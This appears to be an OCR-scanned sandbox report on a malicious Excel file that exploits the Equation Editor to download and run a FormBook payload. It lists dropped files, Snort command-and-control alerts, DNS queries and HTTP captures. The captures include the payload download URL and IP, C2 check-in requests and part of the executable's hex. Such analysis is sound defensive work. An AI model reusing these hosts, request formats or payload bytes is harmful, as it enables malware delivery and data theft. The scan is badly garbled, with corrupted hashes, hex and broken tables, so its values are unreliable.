A4568E97793E29556DDBDD1CC486F874D7F67AD0OB09A829EDABA71DD568FF1AE
06DCE21B10DDCF77E3961B5BE2570F0CEAB8254C8488E524E1E6F692B5CDI6A659AFF2201698C00010A768E96845C606A7217983ADB99492B7362196E095C6AL

false

X0 T s . .
LY 3 P SO @E.@.... (I P.....6..F..$.....EMF+@.8.....

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FD19276A.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office L4\ EXCEL.EXE

PNG image data, 613 x 80, 8-bit/color RGBA, non-interlaced

dropped

6815

7.871668067811304

false
96:pJzjDc7s5VhrOxAUp8Yy5196FOMVsoKZkI3p1NdBzYPx7yQgtCPel1NSMjRP9:ppDc7sk98YM19SC/27QptgtCPWKUI
E2267BEF7933F02C009EAEFC464EB83D

ACFEECE4B83B30C8B38BEB4E5954B075EAF756AE
BF5DF4A66D0C02D43BB4AC423D0B50831A83CDB8ESC23CF36EAC8D79383AA2A7

AB1C3C23B5533C5A755CCA7FF6D8B8111577ED2823224E2E821DD517BC4E6D2B6E1353B1AFEAC6DB570A8CA1365F82CA24D5E1155C50B12556A1DF25373620
F

false

PNG........ IHDR...e...P....X....... sBIT.....0.....sRGB......... gAMA......a.....pHYs......... +.....tEXtSoftware.gnome-screenshot...>....IDATX"..tT....2.$.(.C..@.Ah.Z4.9...5[Vzv.
V[9.=..KOKkw......(v.b..kYJI[]..U..T$...L...3...y3y..6.d...y. {. .} {{._6p#. .. .. .H(....l.LH.H.H..4.c.LE.B.$@.$@.$@.%0......... O[.%.....7.....""0.Da.$@.$@.$@.$0
v.xAL{.=0.3..a017.)..50). 3<vIQs. .. . K3 3LKULNELQLE _2.k.4l)....... eK.S. WA YX. AN w.... HoHLHLGED) *n\.Sw.2..0..LM.. H..0

F$@.$@.$@.$.4.Nv.Hh..OV.....9.(.....
9.3m.6@.p..8.#..|.RINY.+.b...EW.8" .0

.@..L..<.ef&..;.S..=.MifD.$@.$@.$@.N#.1i..D...q0.S.....rY.oc...|.-. X.L].].rm.V<_l.U.q>v.1.G }h+Z"...S..r. X..S.#x...FokVv.L.&.....8.
AL ]R8V x8M~>\.S.0.....m..l.....B.ZN....6\b.G...X.5....0r..m.6@.....yL>.IR\. ...._...7.G.ie...9.r.[Fr..Pdekd{

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FE9B8D60.jpeg

Process:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FE9B8D60.jpeg

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2], baseline, precision 8,
474x379, frames 3

Category: dropped

Size (bytes): 7006

Entropy (8bit):  7.000232770071406

Encrypted: false

SSDEEP: 96:X/yEpZGOnzVjPyCySpv20NPI3ygxZzhEahqwKLBpm1hFpn:PyuZbnRW6NPI3ygqEhwK1psvn

MDS5: 971312D4A6CIBEIB496160215FE59C19

SHA1L: D8AA41C7D43DAAEA305F50ACFOB34901486438BE

SHA-256: 4532AEED5A1EB543882653D009593822781976F5959204C87A277887B8DEBY61

SHA-512: 618B55BCD9D9533655C220C71104DFBIE2F712E56CDA7A4D3968DE45EE1861267C2D31CF74C195BF259A7151FA1F49DF4AD13431151EE28AD1D3065020CES3E
Malicious: false

Preview:

.5 &Y6# #'(-90(*6+"#2D26;=@ @ @&OFKE>J9?@=...C........... =)#)
%&'()*456789:CDEFGHIJSTUVWXYZcdefghij
stuvwxyz W 1.AQ.80."2.. B.... #3R..br..$4.%..... & ()*56789:CDEFGHIJSTUVWXYZc
defghijstuvwxyz. N (OO0 (L OO0 0L GO OO GO L GO GO0 GO L OO O GO OO OO L T O (O L O O L L O A L O A O A e o
O GO GO GO o L GO GO GO L GO O GO GO0 O L G O O 0L O O L L O O R O A O A O A A A O A A A A A

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ms05525.tmp

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24
Category: dropped
Size (bytes): 1254
Entropy (8bit): 5.835900066445133
Encrypted: false
SSDEEP: 24:qEnXJZiYfAZWGWCZGw3jW5uyPBPcemkGFM3JJJJI0OmM6JJIIIZE0IIIIIURI6III:ZNXILA7TIGRC3M3IJIIIIOM6JIIIJuol3
MD5: A3C62E516777C15BF216F12143693C61
SHA1L: 277BFA1F59B59276EF52EF39AE26D4DD3BDB285F
SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408
SHA-512: AA2E51951CF7D51FC8E5F24D49403A9C3EES3E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF
Malicious: false
Preview:
BM........ L TP }l.IXvalvalvalvalvalvalvalvalvalvalLvalLvalvalvalLvalval.............c.cccooiniiiiiinicinnns

LA LLL L L Loval,

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ms05526.tmp

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24
Category: dropped
Size (bytes): 1254
Entropy (8bit):  5.835900066445133
Encrypted: false
SSDEEP: 24:qEnXJZiYfAZWGWCZGw3jW5uyPBPcemkGFM3J1JJJJOmM6JJIIIZE0JIIIJIURIBIIIt:ZNXILATTIGRC3M3JJIIIOM6JIIIJuol3
MDS5: A3C62E516777C15BF216F12143693C61
SHA1L: 277BFA1F59B59276EF52EF39AE26D4DD3BDB285F
SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408
SHA-512: AA2E51951CF7D51FC8E5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF
Malicious: false
Preview:
BM........ B }l.IXvalvalLvalvalvalvalvalvalvalvalvalvalLvalvalvalval.

CLLLLLLLLL L0 LLLoval,

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\ms05527.tmp

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24

Category: dropped

Size (bytes): 1254

Entropy (8bit): 5.835900066445133

Encrypted: false

SSDEEP: 24:EnXJZiYIAZWGWCZGw3jW5uyPBPcemkGFM3JJJJJ0mM6JJJJIZE0JIIIIURI6III:ZNXILATT|GRC3M33IIJIOMEIIIJJuol3
MD5: A3C62E516777C15BF216F12143693C61

SHAL: 277BFA1F59B59276EF52EF39AE26D4DD3BDB285F

SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\ms05527.tmp

SHA-512: AA2E51951CF7D51FC8E5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF,
Malicious: false
Preview:

BM........ 6...( .Jl.IXvalLvaLvalvalvalLvalvalvalvalvalvalvalvalvalvalval.............cccccooiiiiiiiiiiininiiieicneans val..

LD

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\msoF660.tmp

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24

Category: dropped

Size (bytes): 1254

Entropy (8bit):  5.835900066445133

Encrypted: false
SSDEEP: 24:qEnXJZiYTAZWGWCZGw3jW5uyPBPcemkGFM3JJJJI0OmM6JJIIIZE0IIIIIURI6IIIZNXILA7TGRC3M33IIIIOM6JIIIJuol3
MD5: A3C62E516777C15BF216F12143693C61
SHA1L: 277BFA1F59B59276EF52EF39AE26D4DD3BDB285F
SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408
SHA-512: AA2E51951CF7D51FC8E5F24D49403A9C3EES3E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF,
Malicious: false
Preview:
BM........ B (e J.IXvaLvalvalvalvalvalvalvalvalvalvalvalvalvalvalval..............cccccoociiiiiiiiiiiiiiiicics VaLl. oo

AL L

val...

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\msoF661.tmp

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24
Category: dropped
Size (bytes): 1254
Entropy (8bit):  5.835900066445133
Encrypted: false
SSDEEP: 24:qEnXJZiYfAZWGWCZGw3jW5uyPBPcemkGFM3J1JJJJ0OmM6JJJIIZE0JIIIIURIBIIIt:ZNXILATTIGRE3M3JJIJIOM6JIIIJuol3
MD5: A3C62E516777C15BF216F12143693C61
SHA1L: 277BFA1F59B59276EF52EF39AE26D4DD3BDB285F
SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408
SHA-512: AA2E51951CF7D51FC8E5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF
Malicious: false
Preview:
BM........ Bl J.IXvalvalvalvalvalvalvalvalvalvalvalvalvalvalvalLval............ccccccocoiiniiiiinciiniie

AL LLALL AL L4

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\msoF662.tmp

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24

Category: dropped

Size (bytes): 1254

Entropy (8bit):  5.835900066445133

Encrypted: false

SSDEEP: 24:qEnXJZiYfAZWGWCZGw3jW5uyPBPcemkGFM3JJJJJOmM6JJIIIZE0JIIIJIURIBIIIt:ZNXILATT]GRC3M3JJIIIOM6JIIIJuol3
MD5: A3C62E516777C15BF216F12143693C61

SHAL: 277BFA1F59B59276EF52EF39AE26D4DD3BDB285F

SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408

SHA-512: AA2E51951CF7D51FC8E5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF.
Malicious: false

Preview:

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: data
Category: dropped
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

330

1.4377382811115937

false

3:vZ/FFDJw2fj/FFDIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06ADAA83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

.user LA user VAlbuso oo

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

687616

7.451356907663552

false
12288:D1sWHCM2K4CmllyzQs2TalplYshi/YIGsyT4/vCnacxPWJIPHS62LbzxI:Bc3CrMIplzkwWhOqRPOI
9F2C198407F1A7D058C06CC174817DB6

24EF8B3C123FB588BBO5AE56DFDC19F14B6F22D5
BD6ECBC27DE051FAB2F753669D77611D137486537358EE6B3C46ED3950D21CEB

EABB799B26ED02EEB7AAE604AFC5843F27B3E8610D85509EA02BESBA9421A068CEG64F8DE3D903E617520B80E458964CF259210BFOEF282B7CFEF5BB4B031754
4

true

.L.IThis program cannot be run in DOS mode....$....... PE..L..9.Aa..

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

CDFV2 Encrypted
7.988054339763774

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

COAU7229898130.xIsx

601600

6440075843d5ae28dfccf6c9b09830c2
fb5ea7b3defc0c15177429caaf45cdddd80cac7c

22c19360c2a9eedaaal?2439aalc3aceOecc3287e0b6148
1f21619e4bb69f5157

04b09e4ef477126c4577a91596b11e6e7al366ada0048d
da785fdcee273f494d816996403e74dd52608ab250b948!
06c579a446d0b7aff21d1e2b7c54278e27e

12288:54UFZBVSYBMDWTVhINfO6VWEGICZhxNCxvixt
ChI2nUMbMqZvsQo:sHffg1x/lo0vIxtChIUUMb7ZK

ede2aaB8aadb4bcb4
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Network Behavior

Snort IDS Alerts

Timestamp Protocol SID

09/15/21-
11:14:57.679285

Message

TCP

09/15/21-
11:14:57.679285

TCP

09/15/21-
11:14:57.679285

TCP

09/15/21-
11:14:57.794921

TCP 1201

09/15/21-
11:15:02.867903

TCP

09/15/21-
11:15:02.867903

TCP

09/15/21-
11:15:02.867903

TCP

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp

Sep 15, 2021 11:14:40.326247931 CEST
Sep 15, 2021 11:14:46.410604000 CEST
Sep 15, 2021 11:14:51.465856075 CEST
Sep 15, 2021 11:14:57.616641998 CEST
Sep 15, 2021 11:15:02.814553022 CEST

Sep 15, 2021 11:15:07.895129919 CEST

DNS Answers

Timestamp Source IP Dest IP

Sep 15, 2021
11:14:40.976687908
CEST

Sep 15, 2021
11:14:40.976687908
CEST

Sep 15, 2021
11:14:40.976687908
CEST

Sep 15, 2021
11:14:46.460666895
CEST

Sep 15, 2021
11:14:51.868680954
CEST

Sep 15, 2021
11:14:57.660005093
CEST

Sep 15, 2021
11:14:57.660005093
CEST

8.8.8.8 192.168.2.22

8.8.8.8 192.168.2.22
8.8.8.8 192.168.2.22
8.8.8.8 192.168.2.22
8.8.8.8 192.168.2.22
8.8.8.8

192.168.2.22

8.8.8.8 192.168.2.22

Copyright Joe Security LLC 2021

Source IP

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID
0x8eb8

0x8eb8

0x8eb8

0xcl18c

Oxfc43

0x9c63

0x9c63

2031453 ET TROJAN FormBook CnC Checkin (GET)

2031449 ET TROJAN FormBook CnC Checkin (GET)

2031412 ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

2031453 ET TROJAN FormBook CnC Checkin (GET)

2031449 ET TROJAN FormBook CnC Checkin (GET)

2031412 ET TROJAN FormBook CnC Checkin (GET)

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

Trans ID

0x8eb8

0xc18c

Oxfc43

0x9c63

0x30e0

0x9037

Name

www.359326
.com

tiaozhuan.

zhuanye301.cn

tiaozhuan.

zhuanye301.cn

www.crownf
oamus.com

www.thvsjw
jvy.icu

www.biotec
hfla.com

biotechfla.com

OP Code
Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
)

CName

Source Dest

Port Port Source IP

49168 80 192.168.2.22

49168 80 192.168.2.22

49168 80 192.168.2.22

80 49168

49169 80 192.168.2.22

49169 80 192.168.2.22

49169 80 192.168.2.22
Name Type

www.359326.com

www.crownf
oamus.com
www.thvsjw
jvy.icu
www.biotec
hfla.com

www.absolu
talibertas.com

www.carlsb
adbeachwea
r.com

Address

tiaozhuan.zhuanye301.cn

none

biotechfla.com

154.91.1.126

194.59.221.214

none

47.91.170.222

34.102.136.180

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Dest IP
34.102.136.180

34.102.136.180

34.102.136.180

34.102.136.180 192.168.2.22

192.0.78.25

192.0.78.25

192.0.78.25

Class

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 15, 2021 8.8.8.8 192.168.2.22 0x30e0 No error (0) www.absolu absolutalibertas.com CNAME IN (0x0001)
11:15:02.849364042 talibertas.com (Canonical

CEST name)

Sep 15, 2021 8.8.8.8 192.168.2.22 0x30e0 No error (0) absolutali 192.0.78.25 A (IP address)  IN (0x0001)
11:15:02.849364042 bertas.com

CEST

Sep 15, 2021 8.8.8.8 192.168.2.22 0x30e0 No error (0) absolutali 192.0.78.24 A (IP address)  IN (0x0001)
11:15:02.849364042 bertas.com

CEST

Sep 15, 2021 8.8.8.8 192.168.2.22 0x9037 Server failure  www.carlsh none none A (IP address)  IN (0x0001)
11:15:08.252754927 2) adbeachwea

CEST r.com

HTTP Request Dependency Graph

e 103.133.106.199

o www.thvsjwjvy.icu

e www.biotechfla.com

* www.absolutalibertas.com

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 103.133.106.199 80 C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE
kBytes

Timestamp transferred Direction Data

Sep 15, 2021 0 ouT GET /rbi/vbc.exe HTTP/1.1

11:13:26.509690046 CEST Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 103.133.106.199

Connection: Keep-Alive

Sep 15, 2021 1 IN HTTP/1.1 200 OK

11:13:26.805563927 CEST Date: Wed, 15 Sep 2021 09:13:26 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.9
Last-Modified: Wed, 15 Sep 2021 07:48:09 GMT
ETag: "a7e00-5cc03eb5c1717"
Accept-Ranges: bytes
Content-Length: 687616
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 39 a5 41 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
30 00 00 Oe Oa 00 00 6e 00 00 00 00 00 00 22 2d Oa 00 00 20 00 00 00 40 Oa 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 Oa 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dO 2¢ 0a 00 4f 00 00 00 00 40 Oa 00 a0 6b 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cO 0a 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 0d Oa 00
00 20 00 00 00 Oe Oa 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 a0 6b 00
00 00 40 0a 00 00 6¢ 00 00 00 10 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 c0 0a 00 00 02 00 00 00 7c Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 04 2d Oa 00 00 00 00 00 48 00 00 00 02 00 05 00 00 9e 00 00 28 8d 01 00 03 00 00 00 51 01 00 06
28 2b 02 00 a8 01 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 13 30 03 00 92 00 00 00 00 00 00 00 02 14 7d 01 00 00 04 02 28 15 00 00 Oa 00 00 02 28 0d
00 00 06 00 02 72 01 00 00 70 02 28 02 00 00 06 28 16 00 00 Oa 6f 17 00 00 Oa 00 02 7b 04 00 00 04 02 28 05 00 00 06
6f 17 00 00 0a 00 02 7b 05 00 00 04 72 15 00 00 70 02 28 03 00 00 06 28 16 00 00 Oa 6f 17 00 00 Oa 00 02 7b 06 00 00
04 02 28 06 00 00 06 6f 17 00 00 Oa 00 02 7b 07 00 00 04 02 28 07 00 00 06 6f 17 00 00 Oa 00 02 7b 08 00 00 04 02 28
04 00 00 06 6f 17 00 00 Oa 00 2a 00 00 13 30 03 00 5f 00 00 00 01 00 00 11 00 28 18 00 00 Oa dO 05 00 00 01 28 19 00
00 Oa 16 6f 1a 00 00 Oa Oa 06 8e 16 fe 03 Ob 07 2c 29 00 06 16 9a 74 05 00 00 01 Oc 08 6f 1b 00 00 Oa 72 2d 00 00 70 28
1c 00 00 Oa 0d 09 2c Oa 08 6f 1b 00 00 Oa 13 04 2b 14 00 28 18 00 00 Oa 6f 1d 00 00 Oa 28 1e 00 00 Oa 13 04 2b 00 11 04
2a 00 13 30 01 00 1a 00 00 00 02 00 00 11 00 28 18 00 00 Oa 6f 1f 00 00 Oa 6f 20 00 00 Oa 6f 21 00 00 Oa Oa 2b 00 06 2a
00 00 13 30 03 00 3a 00 00 00 03 00 00 11 00 28 18 00 00 Oa dO 06 00 00 01 28 19 00 00 Oa 16 6f 1a 00 00 Oa Oa 06 8e
16 fe 01 Ob 07 2c 08 72 2d 00 00 70 Oc 2b 10 06 16 9a 74 06 00 00 01 6f 22 00 00 Oa Oc 2b 00 08 2a 00 00 13 30 03 00 3a
00 00 00 03 00 00 11 00 28 18 00 00 Oa d0 09 00 00 01 28 19 00 00 Oa 16 6f 1a 00 00 Oa Oa 06 8e
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9Aa0N"- @@ @,0@k H.text( ".rsrck@@@.
reloc|@B-H(Q(+0}((rp((o{(ofrp((of(o{(o{(0*0_((0,)tor-p(,0+(o(+*0(00 o!+*0:((0,r-p+to"+*0:((0
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Session ID Source IP

1 154.91.1.126
kBytes

Timestamp transferred

Sep 15, 2021 727

11:14:41.409837008 CEST

Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 729

11:14:52.214354992 CEST

Sep 15, 2021 729

11:14:52.560082912 CEST

Session ID Source IP

3 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 730

11:14:57.679285049 CEST

Copyright Joe Security LLC 2021

Source Port

80

Direction

IN

Source Port

49167

Direction

ouT

Source Port
49168

Direction
ouT

Destination IP Destination Port Process

192.168.2.22 49166 C:\Windows\explorer.exe

Data

HTTP/1.0 200 OK

Connection: close

Cache-Control: max-age=259200

Content-Type: text/html;charset=utf-8

Content-Length: 429

Data Raw: 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20
69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3¢ 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 62 61 76 61 73
63726970 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 73 2e 31 39 36 36 38 39 30 2e 63 6f
6d 3a 32 30 38 36 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6¢ 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77
2e 6¢ 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6¢ 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63
68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6¢ 6¢ 29 7b 64 6f 63 75
6d 65 6e 74 2e 67 65 74 45 6¢ 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6¢ 69 63 6b 28 29 3b 7d
65 6¢ 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6€ 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65
45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6¢ 69 63 6b 22 2¢ 74 72 75 65 2¢ 74 72 75 65 29 3
b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6¢ 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 64 69 73 70 61
74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https
://b00s.1966890.com:2086/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.hre
f=strU;if(document.all){document.getElementByld("hao123").click();}else {var e=document.createEvent("MouseEven
ts");e.initEvent(“click",true,true);document.getElementByld("hao123").dispatchEvent(e);}</script></body></html>

Destination IP Destination Port Process

47.91.170.222 80 C:\Windows\explorer.exe

Data

GET /imi7/?8pGdYd7=JylIKvNk78hOFd+1TngK+cq4SLeKYXMs9BOMQrcpY54MEXf7zcD8i4BM8h1sFc+7G7xGrw=
=&edrh=onDxljzxvz HTTP/1.1

Host: www.thvsjwjvy.icu

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 15 Sep 2021 09:14:52 GMT

Content-Type: text/html

Content-Length: 320

Connection: close

ETag: "595213ce-140"

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48
54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6¢ 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33
2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6¢ 31 2f 44 54 44 2f 78 68 74 6d 6¢ 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6C 2e 64
74 64 22 3e 0a 3¢ 66 72 61 6d 65 73 65 74 20 72 6f 77 73 3d 22 31 30 30 25 22 3e Oa 3¢ 66 72 61 6d 65 20 73 72 63 3d
2268747470 73 3a 2f 2f 77 61 6e 77 61 6e 67 2e 61 6¢ 69 79 75 6e 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 2f 70 61 72 6b 69
6e 67 22 3e Oa 3c 6e 6f 66 72 61 6d 65 73 3e 0a 3c 62 6f 64 79 3e 3¢ 73 63 72 69 70 74 3e 0a 20 3c 61 20 68 72 65 66 3d
226874 7470 73 3a 2f 2f 77 61 6e 77 61 6e 67 2e 61 6¢ 69 79 75 6e 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 2f 70 61 72 6b 69
6e 67 22 3e 6¢ 69 6e 6b 3c 2f 61 3e 3¢ 2f 62 6f 64 79 3e Oa 3¢ 2f 6e 6f 66 72 61 6d 65 73 3e Oa 3c 2f 66 72 61 6d 65 73 65
74 3e Oa

Data Ascii: <IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional/EN" "http://www.w3.0rg/TR/xhtm|1/DTD/xh
tmll-transitional.dtd"><frameset rows="100%"><frame src="https://wanwang.aliyun.com/domain/parking"><noframes>
<body><script> <a href="https://wanwang.aliyun.com/domain/parking">link</a></body></noframes></frameset>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /imi7/?8pGdYd7=nnh6Wn4YtMnGcYcsMkPyBnKFILVF5md1d8S2Q13SdHwWJILrOdJeCsdNPQR8GZEfRMALPZIA=
=&edrh=onDxljzxvz HTTP/1.1

Host: www.biotechfla.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Sep 15, 2021 731

11:14:57.794920921 CEST

Session ID Source IP

4 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 731

11:15:02.867902994 CEST

